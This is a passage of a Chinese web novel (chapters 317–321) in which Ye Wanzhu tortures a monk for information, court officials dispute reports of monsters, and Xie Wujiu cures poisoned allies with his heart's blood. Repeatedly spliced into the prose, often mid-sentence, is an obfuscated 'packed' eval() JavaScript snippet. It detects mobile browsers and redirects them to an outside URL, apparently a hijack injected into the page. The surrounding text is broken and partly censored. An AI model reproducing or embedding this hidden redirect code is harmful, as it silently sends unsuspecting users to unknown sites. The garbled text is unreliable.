她语气带笑,却并没有让无尘大师感到半点放松。 “大师不急着回答我的问题,是不是因为你在想,叶晚竹这个女人,为什么这么难缠,我明明已经把矛头对准了谢无咎,她怎么还是能绕回天问大师的身上来?” 叶晚竹每说一句,无尘大师的表情就变得难看一分,到了最后,他难以置信地抬起头,眼中全是惶恐不安。 这个女人,这个女人难道也有什么妖术,会读心不成? 看着无尘大师惊悚的表情,叶晚竹嘴角勾起,笑得越发嘲讽。 “大师,难怪你只是肉体凡胎,却能一直跟在天问那秃驴身边,当他的左膀右臂。” “你这张嘴,真的还挺厉害的,从我问出谢无咎开始,你就在想要怎么转移目标了吧?” 抱起双臂,叶晚竹眼中的冷意终于丝毫不加掩饰地漫了出来。 “可惜,还是没成功,是不是?” “你,你你……” 无尘大师的脸色这会儿比**也好不了多少,他颤颤巍巍地晃着身子,“你套我的话?” “套你的谎话干什么,我有这么无聊?” 冷嗤一声,叶晚竹从袖中取出一把**,放在无尘大师面前摇了摇。 “只是个小诱饵罢了,你这么迫不及待地上钩,倒是更让我知道,你的嘴里,没有一句实话。” “既然如此,不用些手段,恐怕是不行了。” 话音未落,叶晚竹手腕一翻,将无尘大师脸上的皮肉削去了一大块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16037620|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 鲜血顿时顺着无尘大师的脸流了下来。 “你要干什么?” 这点程度的疼痛,这会儿已经不能让无尘大师心里有半点波澜,只是他看着叶晚竹从怀中摸出一个白色的小瓷瓶,眼皮不知为何突然就开始狂跳。 “大师,你猜猜,这是什么?”叶晚竹将小瓷瓶朝着他脸前举了过去。 总不能是止血药吧! 他才不信叶晚竹会这么好心! 无尘大师不敢张口,双眼畏惧地盯着她的动作。 叶晚竹又晃了晃瓶子,听着里面滴滴答答的动静,她轻声发笑。 “这是那些蛊兵身上的血。” “你——” “啊,这儿还有一个。” 不等无尘大师把话说出口,叶晚竹又从怀中摸出另外一个小瓷瓶。 “这里面装着的,是柳汝兰,也就是你口中的载体,她的血肉。” “无尘大师,你身为天问大师的头号走狗,怎么能只是一个普通人呢?这两种,你来选选,看你想变成什么,我来帮你好了。” 一边说着话,叶晚竹一边笑吟吟地又靠近了无尘大师几分。 “我耐心有限,大师可得快些决定。” 住在怪物窝里,这无尘大师却没有半点要同流合污的意思,要么他并不得天问大师的信任,要么,就是他自己有想法,不愿意接受改造。 从刚才的那一番对话中来看,无尘大师显然是后者。 那就更好办了。 不想变身? 最大的可能性,就是害怕。 一手抓着止血丹,另一只手捏着生肌丸,叶晚竹作势要往无尘大师的伤口撒去。 “不要,不要!” 无尘大师发出惊恐万状的惨叫,一边用尽全身为数不多的力气,没命地朝后躲避。 这模样和刚才相比,顿时显得真情实感了不少。 “那就把你知道的,实话,全都说出来。”叶晚竹不紧不慢地将瓶口对准了无尘大师。 绝望从眼底闪过,无尘大师神情灰败,颓然开口,“我说……” 第三百一十七章 你不信,我信 柴房远离别院前厅,这里的逼供声传不到各位大人们的耳中,他们这会儿只能听见隐月没什么情绪的讲述。 饶是如此,一屋子的大人们这会儿也都是表情诡异。 他们都听见了什么? 南疆围城的大军,是由怪物组成的? 还有一个叫天问大师的,领了另外一个组织,研究另外一种怪物? 刚才是这两种怪物,从城外打到城里,然后两败俱伤,被他们捡了个漏? 这…… “这都是什么乱七八糟的东西!” 隐月的话差不多要说完了,他正搜肠刮肚地想着还有什么要补充的,便听见倪宰相的怒吼声又响了起来。 “危言耸听,一派胡言!” 倪相爷脸上的肿还没消,不过,有小厮拿来了用井水冰过的帕子,他敷在伤处,这会儿已经缓解了不少,起码能正常说话了。 不过,比起刚才被隔空扇了个大巴掌的时候,倪相爷这会儿似乎显得更加愤怒了起来。 “你这是妖言惑众!”他抬着手,哆哆嗦嗦地指着隐月。 这些事情,怎么可能发生呢? 跟在倪宰相之后,不少大人们也纷纷小声嘀咕起来,语气里全是附和。 京城里闹妖怪? 这事情,听起来就不现实吧! “倪大人——” 就知道仅凭讲述,太过单薄,隐月皱着眉头,还要再说,话头却又被倪宰相截断了。 “你一直跟在叶晚竹那个女人身边,这些话,也都是她教给你的吧?她到底要干什么?趁一切还能挽回,隐月,你不要一时糊涂,酿成大错!” 倪宰相鼻子不是鼻子,眼睛不是眼睛地朝着隐月看去,说话的时候,态度也很是恶劣。 隐月闻言心口一沉,看来,倪相爷压根就不相信殿下! 不仅如此,他还十分反感! “哟,真不愧是当朝宰相,大读书人啊,这么多词都能信手拈来,真是了不起。” 隐月正在沉吟,岑灵川冷笑一声开了口。 倪宰相的身子下意识地就哆嗦了一下,脸上的伤似乎也跟着疼了起来。 这江湖人士,实在是不讲道理! 思忖片刻,倪宰相果断选择了无视岑灵川,又看向隐月。 “你莫要执迷不悟,”他叹了口气,端的是语重心长,“隐月啊,趁时间还来得及,现在就去抓了叶晚竹,再从长计议!” “……大人,小的刚才说话,您是不是一句也没听?” 隐月本就不是什么好脾气的人,只是局势所迫,又身受重伤,不得不慢吞吞地跟这些大人们说话。 这就算了,现在,还有压根就没往心里听的! 倪宰相却也皱着眉头,这些胡言乱语,他为什么要听? “你——” “你什么你?你个老眼昏花,老耳也不中用的!光嗓门大有什么用?” 岑灵川这会儿忍不住了,拔高了声音怒骂,“除了找事就是找事,倪宰相,我很怀疑你也是天问大师派来的奸细啊!” “你,你胡说!”闻言,倪宰相又猛烈地哆嗦了两下。 “你不是?” 岑灵川又眯了眯眼。 “如果不是,倪宰相为什么对隐月的话,对我师妹的话,这么不屑一顾啊?京城里昨天晚上传出来的动静,各位应该都听见了吧?都能和隐月的话对上,怎么就是一派胡言,妖言惑众,危言耸听了呢?” 他一番话问的又急又快,倪宰相中途想说话,愣是连张口的机会都没有。 “老夫只是觉得,只是觉得……” 终于等到岑灵川收声,倪宰相刚迫不及待地开了口,话说到一半,却又进行不下去,变得结结巴巴起来。 “怎么?给你机会你又不解释,是说不出来吗?” 冷笑着双手抱臂,岑灵川上下扫视一眼欲言又止的倪宰相。 岑灵川虽然没在京中生活过,不过,看上去,这倪宰相也不是和天问大师有关之人。 否则的话,今天晚上闹成这样,他早就该有所动作,要么逃跑,要么害人了。 这老大人能觉得什么? 无非,就是觉得叶晚竹是一届女流,看不起她,所以对叶晚竹的话,都要嗤之以鼻地反对呗。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046257|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 所以,倪宰相是真的觉得,隐月说的一切都是假的,京城的惨状也是安王有心伪造出来,为的,就是把他们骗出京城,再趁机进行下一步的动作,而叶晚竹,只是这个计划的其中一环。 连安王都信,却不信叶晚竹这个昭德帝亲封的威远王? “脑子有病!”岑灵川厌恶地皱了皱鼻子,“一身迂腐臭味!” 倪宰相这会儿又想哆嗦了,不过是被气的。 这江湖中人,简直欺人太甚! “倪相爷。” 隐月的语气这会儿也冷了下去,“也就是说,威远王殿下托小的转达的这些话,您一句也不相信,是吧?” 当然是! 倪宰相正要开口,袖子却忽然被人从后面拽了一下。 张大人小心翼翼地压着声音,“大人,莫要冲动啊!” 叶晚竹离开之前,是怎么说的来着? 谁敢不信,那就要打啊! 张口欲言,倪宰相却又硬生生地把话吞了回去。 他的脸,这会儿还疼着呢! “没种的怂货。”岑灵川将一切看在眼中,又嘟哝了一句。 文人风骨呢? 他一巴掌就能打没? 是不是太脆弱了点啊? 倪宰相不说相信叶晚竹的话,却也不说不信,背着手站在原地,就这么和隐月僵持了起来。 又开始耍赖,拖延时间了? 岑灵川怒极反笑,都到了这个时候,这位还在耍小九九呢? 叫了两个人看门,岑灵川抬腿就走到了倪宰相面前。 “一次机会,信还是不信?我数三下,你不说,我就默认你不信。” 不信,那可就要挨打了! 阴恻恻地笑了一声,岑灵川开始挽袖子了。 倪宰相见状气得吹胡子瞪眼,“你这是强盗做法,土匪行径,岂,岂有此理!” “对,我就是,你能怎么样?有本事你就打过我,没本事,就老老实实回答我的问题!” 挽起衣袖,岑灵川的笑意更冷了,“我要数了,一——” “我相信。” 第三百一十八章 景平王府的往事 已经做好了要和倪宰相大战一场,在不把人打死的前提下一定要让这老大人越惨越好的准备,岑灵川才刚出声,便听到一道声音从厅中某处响了起来。 这是哪位? 收了声,岑灵川转过头,和屋中一众大人们一起朝着声音发出的地方看了过去。 “莫将军?” 前厅的角落里,这会儿正放着一座软轿,轿子上坐着的人年事已高,满头白发,但却依稀还能看得出从前的英武强壮。 定西将军莫不归,大梁的三朝元老,真正的肱股之臣。 东厂的侍卫凑到岑灵川身边,轻声跟他说着这位的身份,这个时候,倪宰相也出声了。 “莫老将军,您这话是什么意思?您当真相信这些宵小之徒的鬼话不成?” 倪宰相的脸上这会儿红一片,青一片,表情也十分难看。 众人的目光也全都汇聚在莫老将军的身上。 “是,老夫相信威远王殿下,也相信她说的话!” 被这么多双眼睛望着,莫老将军的神情,还是十分平静。 “莫老,为什么啊?” 张大人这会儿也忍不住了。 这么荒谬的言论莫老将军也信,他,他莫不是老糊涂了吧? “我看人家比你清楚!”一直观察着这些大人们的表情,岑灵川又讥笑起来,“不像你的脑子,再年轻也不好使!” 张大人的面容也不由得变得扭曲。 这江湖人士,说话真不中听! “让老夫说两句吧。” 莫老将军这时候又出了声,打断了两人的争吵。 于是厅中又一次安静了下来。 “景平王府当初的那场大火,我想,各位大人身在京中,应该都有所耳闻吧?”他缓缓道。 当时那大火烧得汹涌,后来安王府也跟着起了火,闹得京中混乱不堪,众人不可能不印象深刻。 莫老将军幽幽地叹了口气。 “那天,老夫府中有一个嬷嬷,误打误撞进了景平王府,她久去不归,王府又乱了起来,老夫府中的侍卫便前往寻找……” 定西将军府虽然宽敞气派,可莫老将军上了年纪,又孤身一人,府中的下人并不算多,没什么可生出矛盾的机会,下人们的关系也很好。 得知嬷嬷去了景平王府没回来,莫老将军的两个贴身侍卫前去寻找,谁知王府起了大火,他们没找到莫嬷嬷,倒是看见了一个女子,被丢进火场,绑住双手,自生自灭。 女子? 一众大人们忍不住面面相觑,隐月却垂下目光。 是阮莹莹。 “莫将军,然后呢?”他出声追问。 莫老将军继续道,“我那两个侍卫乃是圣上所赐,武功高强,本想去将那女子救下,可还没现身,就被一个灰色的影子抢了先,将那女子从火场中捞出,却并不只是为了救她性命。” 女子是阮莹莹,那这灰色的影子,不用想也知道是天问大师了! 隐月精神一震,“那人干了什么?” “那人将女子救起之后,没急着离开王府,反而是亲手将那女子送入火中,让她遭受烈焰焚身之痛!” 据那两个侍卫说,他们发现女子的时候,对方还没有被烧,这灰色的影子却硬生生地让她被烧得全身焦黑,只剩下最后一口气才肯罢休。 莫老将军一语落下,厅中一片哗然! “那人还不仅是借火烧人,”他的话却还没说完,“那女子遭受折磨,凄厉嘶吼的时候,此人站在一旁,一直在念念有词。” “他说了什么?” 岑灵川的脸色这会儿也很是难看。 听到这儿,他要是再反应不过来,这个影子就是天问大师,那就未免有些太愚钝了。 这老秃驴怎么总是做一些耸人听闻的事情? 莫老将军缓缓开口,“那人说,你今日遭受的一切,全都是拜叶晚竹所赐,叶晚竹一日不死,你的冤屈,便一日得不到解脱。” “这个老王八蛋!” 莫老将军话音刚落,岑灵川便忍不住大骂出声! 又针对他师妹! 这个老秃驴,到底想干什么? “殿下!”这个时候,房门一开,两个东厂侍卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046258|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音顿时又让厅中变得安静下来。 叶晚竹正站在门前。 她已经回来了有一会儿,莫老将军的话,她全都听到了。 原来,天问大师是这样把阮莹莹带走的。 叶晚竹又想到了刚刚无尘大师的一番话,所以说,阮莹莹应该就是他口中的那种情绪的载体? 可是,想着自己见过的,阮莹莹的模样,叶晚竹又感到有什么地方不太对劲。 前厅中大人们的目光这会儿都在朝着她而来,叶晚竹暂且敛下心神,大步走了进去。 “多谢莫老将军提供线索。”她朝着那边笑了笑。 莫老将军没说什么,又合上了双眼。 要不是这厅中刚才闹得实在是不像话,他一把年纪,也不想去凑这些个热闹。 “对了,”叶晚竹收回目光,看向岑灵川,“我刚刚好像听到师兄在问信不信,是谁不信?” “他!”岑灵川抬手就朝着倪宰相指了过去! 要不是这位,他们也用不着浪费这么多时间! 师妹都回来了,他这边还没把场子镇住,实在丢人现眼! 岑灵川咬牙切齿地看着倪宰相,又添油加醋地把这位刚才的所作所为都说了一遍。 “你……我……” 倪宰相涨红了一张老脸,想说话,这会儿却又不知道该说什么才好。 要是大家都站在他这边,那倪宰相还能多点底气,可现在的问题是,人家莫老将军有真凭实据啊! 莫老将军德高望重,要说他帮着叶晚竹和安王弄虚作假,那倪宰相是一万个不相信的。 所以,所以这件事是真的? 倪宰相不由得开始用力回忆,刚才隐月都说了什么? 京城闹怪物,还到处都是! 这些怪物说不定还能一传十,十传百! 圣上死于这些怪物之手,而今京城沦陷,直到里面打扫干净之前,他们都不能回去了? 倪宰相的手忽然就哆嗦了起来。 他是地地道道的京城人,所以,他家要没了? “诶!相爷!” 第三百一十九章 团结合作 双眼一翻,倪宰相一点儿声音都没有发出,就瘫软在地,晕**过去。 张大人等一干大臣,还有从相府而来的几个随从慌忙上前,在叶晚竹的默许之下,连拖带抱地将倪宰相带到了后面的客房去休息。 他老人家这一走,前厅中便彻底地安静了下来。 “各位大人,故事听完了,眼下是什么局势,大家应该也都清楚了吧?” 看着眼前这一张张如丧考妣的脸,叶晚竹清了清嗓子,语气里还是情绪欠奉。 “现在谁还有问题?我再给你们一炷香的时间,问问题,去或留,你们自己决定。” 去或留? 大人们闻言都打了个哆嗦。 在莫老将军说话之前,他们或许还有些摇摆不定,可现在,这还有什么好犹豫的? 京城闹怪物啊! 他们才不想去送死! 没人挪动脚步,倒是片刻之后,城南大营的赵将军小声道:“京城……还回得去吗?” 就算是在边关,被敌军夺去一座城池,都是能让将士们低沉不甘许久的事情,更何况,这是京城,大梁的王都! 赵将军这个问题问出,厅中的气氛又肉眼可见地变得更加沉郁。 “当然回得去!” 叶晚竹声音清亮,态度坚决,听着她这掷地有声的话,大人们又不由得纷纷抬起头来。 “叶——”有人出声,又急急改口,“殿下说的是真的?” “千真万确!” 叶晚竹上前几步,走到隐月身边,从这个角度,正好可以将厅中主位大人的脸全都看得一清二楚。 她轻笑一声。 “暂时离开京城,为的是各位大人的安全,西北大军已经将京城团团包围,保管连一只苍蝇都飞不出去,京城在西北大军的卫护之下,那些怪物也已经死去,并没有真正地失守。” 听着她的话,大人们的表情不由得又变得振奋起来。 他们实在是不能承受京城沦陷的后果,就算叶晚竹这会儿说的是假话,大人们也愿意相信! “那,那那个什么天问大师……”又有人问起了这位。 这可是害死圣上的元凶首恶! “他计划失败,已经逃了。”叶晚竹说着话,眼神朝着南疆方向扫了一下,“我会去把他抓回来处置的。” 威远王殿下要去抓天问大师? 一众大人们忍不住又开始交头接耳。 叶晚竹这时候摆了摆手,让他们安静下来。 “之所以要让各位知道眼下的处境,又非得让你们相信,正是因为我很快便要出发,去抓捕此人。” 她的语气依旧没什么波澜,却无端地听得人人心里发慌。 “天问大师逃跑的方向是南疆,我想,事情不会有这么多巧合,那里肯定有许多秘密,我这一去,不知道什么时候才能回来。” “再怎么样,我们都是大梁的普通人,不是妖怪,更不是天问大师的玩物,各位大人应该不希望自己落到天问大师这丧心病狂的秃驴手中,最后也变成昨天晚上那几个人一样,是天问大师的**工具吧?” “天问大师和他的手下们最擅长挑拨离间,我离开的这段时间,希望各位能摈弃从前的龃龉,莫要给这秃驴可乘之机!” 就像……刚才倪宰相所做的那样。 这话虽然没人说出口,但大人们的眼神却都止不住地朝着倪宰相方才站着的地方扫了几眼。 叶晚竹也看了看,又收回了目光。 “若是没有什么问题,就各自去休息吧,隐月,你带人安排。” “是!” 隐月被几个东厂的侍卫背着走了,把大人们带到别院之中去安置,幸好昭德帝宠爱自己的二哥,把这安王别院修得无比宽敞,不至于让大人们无处可住。 等到前厅恢复了空荡荡的模样,岑灵川这才舒了口气。 “那老大人,脑子里只有一根筋,怎么都说不通!” 他指了指自己的太阳穴,说的是倪宰相。 “师妹,你准备拿他怎么办?” “等倪宰相醒了,让他正常操持别院里的运转。”叶晚竹的语气活像是在说一会儿要下雨似的。 “啥?”岑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046259|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵川闻言却很想跳起来,“还让他管事?” 他师妹也被那老大人传染了? 一根筋还能传染? “倪宰相是圣上身边的得力助手,有他在,大人们才不至于乱套。” 解释了一句,叶晚竹的眼底又染上了一抹冷光。 “再者说,如果天问大师的人还想趁虚而入,倪宰相就是个最好的突破口了。” 既用着这位,又拿他当靶子? “一箭双雕,师妹,你真狠啊……”岑灵川若有所思地摸着自己的后脖颈。 他怎么感觉这地方有点冷呢? “谁让他歧视我?”叶晚竹又挑了挑眉,“师姐挨了天问大师一掌,受了重伤,她留下养病,顺便盯着倪大人好了。” “成,我一会儿告诉她。” 漫不经心地应了一声,岑灵川的注意力又转到了叶晚竹身上。 “你和那个无尘秃驴聊过了吧?怎么样,都问出什么来了?那货滑不留手,看得我牙痒痒。” 叶晚竹斜晲了师兄一眼,不用说,他定是在无尘大师身上栽过跟头了。 知趣地没多问,叶晚竹压低声音,“不多,但总算是搞清楚了两件事情。” “什么?” “天问大师的确野心勃勃,他制造了叫载体的怪物,又和南疆王合作弄来了血蛊,他手里的东西,应该还有更多,这次离开,十有**是去搜罗怪物,好卷土重来,我们得做好准备。” 岑灵川闻言眼神阴郁,“那第二个呢?” 这可真是个倒霉消息! “第二个……他大概是弄出了什么自己都没想到的意外,而这个意外,是谢无咎。” 叶晚竹眨了眨眼,“谢无咎肯定去过南疆,还在那儿发生过什么,让他能和昨天晚上的天问大师打个平手。” 岑灵川听着这话,不知不觉地站了起来。 那天问大师是个怪物,能和他打成平手,还去过南疆,那,那谢无咎身上,岂不是…… “殿下!殿下!” 他正要说话,一个侍卫忽然急匆匆地跑了进来。 第三百二十章 九千岁您来了? “怎么了?” 看清此人的脸,叶晚竹的心忽然突突了一下。 这是…… “殿下!您身边的那些下人,还有小花,好像,好像中了毒,这会儿毒发了!” 果然,这侍卫一张口就没能说出什么好消息。 这是叶晚竹放在小花和书画等人院中的侍卫,闻言,她眉头一皱,什么都顾不上说,转身朝后院方向跑了过去。 小花等人的院落安排在远离朝中大人们的一个方向,四周十分清净,叶晚竹赶到的时候,没隔多远,便听见里面隐隐约约有呼痛的声音传来。 她大步走进屋中,随即便闻到了一阵血腥气。 “殿下!” 屋中这会儿有不少侍卫,人人都是一身狼狈,衣服上沾着血迹,手背上还有被抓挠过的痕迹。 叶晚竹低头看了一眼,什么话都没说,便朝着床边而去。 岑灵川跟在她身侧,也伸长了脖子去看,目光触到这些伤痕,忽然就是一变。 这痕迹……怎么那么像…… “师妹!” 这个时候,叶晚竹已经走到了床边。 潇湘院的人说多不多,说少也绝对不少,大伙儿都受了重伤,分开不好处理,侍卫们便将几张床并在一起,把所有人都安置在上面。 “师姐?你怎么也在这儿?” 看见躺在床边的柳寻雁,叶晚竹的眉头忍不住挑了挑。 她接了天问大师一掌,震碎了好几根骨头,不能随便移动,是叶晚竹亲眼看着被送到隔壁院子里去的。 柳寻雁倒吸了一口冷气,抬手用力攥住叶晚竹的手腕,努力保持神志清醒。 “是,是天问那老秃驴!”她语气恨恨,“他关押我们的时候,肯定趁机给所有人都下了毒……咳咳咳……” 话说到这儿,忽然被一阵猛烈的咳嗽声打断,柳寻雁空着的那只手捂着胸口,神情十分痛苦。 “那个不要脸的秃驴,还留了一手!” 难怪她们从马车里逃跑的时候,天问那秃驴一点儿要着急的意思都没有! “这毒奇怪得很,除了让人吐血,什么,什么其他的症状都没有!” 歇了一口气,柳寻雁继续咬着牙道,“说不定就是针对你们的,你们都出去吧,别管我们了!” 她有武艺,又最后一个才被关进那暗牢,或许是因为这个,她身上的毒作用是最轻的。 再看看小花等人,无一不是脸色惨白,神志不清,只会无意识地吐着鲜血。 “走吧!” 见叶晚竹神色晦暗地朝着满屋吐血的人看去,柳寻雁不由得又催促了几声。 就算没有别的症状,可一直吐血,又让人怎么能受得了? 看着床榻上的一排脑袋,一个比一个形容凄惨,叶晚竹眉头紧皱。 “师兄,你有药吗?”她扭头去找岑灵川。 “没用的……”说说话的人依旧是柳寻雁,“能用的药我都已经用过了……” 岑灵川的表情这会儿也不算好,眉头紧皱,一脸凝重。 “九,九千岁?您怎么来了?” 就在这时,侍卫的惊呼声响起,叶晚竹也猛地扭过头去。 谢无咎来了? 不对,他醒了? 叶晚竹在京城将谢无咎扶起来之后,他便一直昏迷不醒,身上大大小小的伤势也很是严重。 眼下他就这么醒了? 不知为何,叶晚竹忽然又想起了先前在白云观的时候,谢无咎着了天问大师的道儿,醒来的速度,也比他们想象中要快得多。 心思急转,叶晚竹却已经扭过头,和谢无咎对上了视线。 此时谢无咎的脸色多少还是要比昏迷的时候好看一些,但依旧惨白如纸,额头上沁着一层密密麻麻的冷汗,看上去状态依旧不佳。 他皱着眉头走到叶晚竹身边,朝床上众人看了一眼,便又摆了摆手,“都下去。” 一开口,谢无咎连声音都在不住地颤抖着。 叶晚竹下意识地抬手扶了他一把,果然,谢无咎浑身上下哆嗦得更加厉害,皮肤上温度灼热,显然是正在高烧。 “你……” 刚要说话,叶晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050168|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹便感到自己的手腕被不轻不重地捏了一下。 她抬起头,谢无咎的目光却依旧无比专注地落在眼前的场景上。 “岑师兄,”谢无咎又强撑着开了口,“还得有劳你去打些热水。” 这个时候,方才还在屋中的东厂侍卫们全都已经退了出去,只剩下一个岑灵川还立在门前。 “九千岁真会使唤人。” 知道这情况肯定不妙,岑灵川嘴上不饶人,双脚却已经朝着房门方向转了过去。 “不是有意使唤师兄,是这热水的温度比较特殊。” 谢无咎的声音却又响了起来。、 “须得和正常人手腕的温度一模一样,才能真正起到作用,换做旁人,我不放心。” 这是什么奇奇怪怪的要求? 岑灵川忍不住瞪了瞪眼。 “还得是用的时候。”谢无咎又补充了一句,看着岑灵川越发无奈愠怒的表情,他摊了摊手。 “天问大师那老秃驴,就是喜欢这一套。” “狗东西!等我找到他,非得扒了他的皮!” 忿忿地诅咒着,岑灵川深吸一口气,到底还是拔腿离开,顾忌着屋中的病人,还得克制住自己,不能将房门摔得震天响,一时间很是辛苦。 等到他的脚步声远去,叶晚竹低头一看,师姐也已经坚持不住,晕**过去。 “谢都督现在可以抓紧时间解毒了吧?”她抬起眼皮朝谢无咎看去。 和人手腕温度一样的热水,做起来简直是浪费时间,这不像是天问大师的手法,倒像是有意将岑灵川支开的借口。 谢无咎轻声笑了笑,“知我者,殿下也。” “可别,殿下不敢如此托大,”叶晚竹的语气有些冷,“本殿下对都督知之甚少,也什么都不敢保证。” 她一语落下,谢无咎的身子微妙地顿了顿,似乎是想说些什么。 床上,曼娘一声呛咳,又猛地吐出了一大口血。 叶晚竹的注意力立刻转移了过去。 “现在不是说那些的时候,还请谢都督先帮忙解毒吧。” 第三百二十一章 这就是解药 连请都用上了,语气还如此疏离客气,谢无咎不由得幽幽地叹了一口气,转头看向曼娘,这才又变得正色起来。 “我的确能暂时压制这毒性,但解毒的过程,还望殿下替我保密。” 听着这同样客气的措辞,叶晚竹只是淡淡地垂下眼皮。 “自然——谢都督?” 一句话还没说完,在叶晚竹垂下的视野当中,谢无咎开始动手替自己宽衣解带。 “这毒是天问大师的手笔。” 另一边,谢无咎却好像丝毫没有发现自己的举动有多么让人不解,一边动作,一边压低了声音。 “那老秃驴作风偏激,手法诡异,经过他手制作出来的**,配方都是独一无二,且严格保密的,除非是他本人前来,否则,谁也不知道对症的解药是什么。” 叶晚竹默默地听着他的话,又抬眼一扫,这个时候,谢无咎已经解开了上衣,将自己的胸膛暴露出来。 她的目光立刻又顿住了。 谢无咎的左胸膛上,最危险的心口处伤痕交错,长短不一,新旧不一,层层叠叠地摞在一起,让那块皮肤都没了完好的痕迹。 叶晚竹忍不住向前倾身,细看之下,又倒吸了一口冷气。 这些伤痕无一例外,全都是向内收缩的,也就是说,全都是朝谢无咎心口里扎去的? “是谁?” 下意识地问出一句,没等到谢无咎回答,叶晚竹却感觉自己已经知道了答案。 除了天问大师,还能有谁? 这老秃驴,究竟想做什么? 叶晚竹的呼吸不由得变得有些不稳当了起来。 可还没等她回过神,谢无咎不知道从什么地方摸出了一把**,朝着心口比了两下,在叶晚竹震惊的目光,和抬手要阻拦的动作之中,不疾不徐地扎进了半寸。 “!”叶晚竹皱着眉头,“你疯了?你——” 又是一句话没说完,她的表情再次变得十分难看。 谢无咎的脸这下更白了,呼吸也越发不稳,却还是强撑着发出了一声十分浅淡的笑。 “这就是……解药。” “殿下接好,一人喂一滴就够了。” 这算什么办法? 心里乱成一团,叶晚竹却还是不得不按照谢无咎的指示,将他的心头血收集到一个透明的琉璃瓶子里,再挨个喂给师姐一行人。 “殿下莫要触碰,小心有毒。”看着她的动作,谢无咎又轻声哼笑着添了一句。 这话说得半真半假,再配上九千岁标志性的笑容,着实让叶晚竹捉摸不透。 敛下心神,她暂且专心致志地喂药。 谢无咎的血一入口,效果便非常明显,方才还在止不住吐血的潇湘院一行人,很快便都安静了下来,脸色似乎也变得好了一些。 “这只是权宜之计。” 等屋中安静下来,谢无咎这才又低声开了口。 方才,趁着叶晚竹给众人喂血,他独自坐在一旁,已经默不作声地将胸口的伤疤处理妥当。 他动作熟稔,手法利落,一看就是习惯了做这件事,就连包裹纱布的位置都不需要过多寻找。 用余光注意着这边的一举一动,叶晚竹抿了抿唇,心里有些不是滋味。 谢无咎胸口的这么多道伤疤,是不是都是他这么自己处理过来的? 她方才多看了两眼,有些旧伤的痕迹随着皮肤生长而变形,恐怕是很小的时候就存在了。 天问大师剖开一个小孩的心口取血,他要干什么? 想到那个画面,叶晚竹的呼吸无疑又变得粗重了几分。 可转头看着谢无咎似笑非笑,眼底却盛满萧索的模样,叶晚竹又把几次冲到嘴边的问题咽了下去。 谢无咎的态度已经很明确了。 他不想说。 那她非要揭人伤口,就有点太过分了。 定了定神,叶晚竹强行将思绪扯回谢无咎刚才的话上来。 然后她的表情又变得更加难看。 “权宜之计?也就是说,她们的毒并不算解开了?” 谢无咎靠在屋中唯一的一把圈椅上,闻言又点了点头。 “我的血能暂缓毒性发作,也能遏制一段时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058108|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 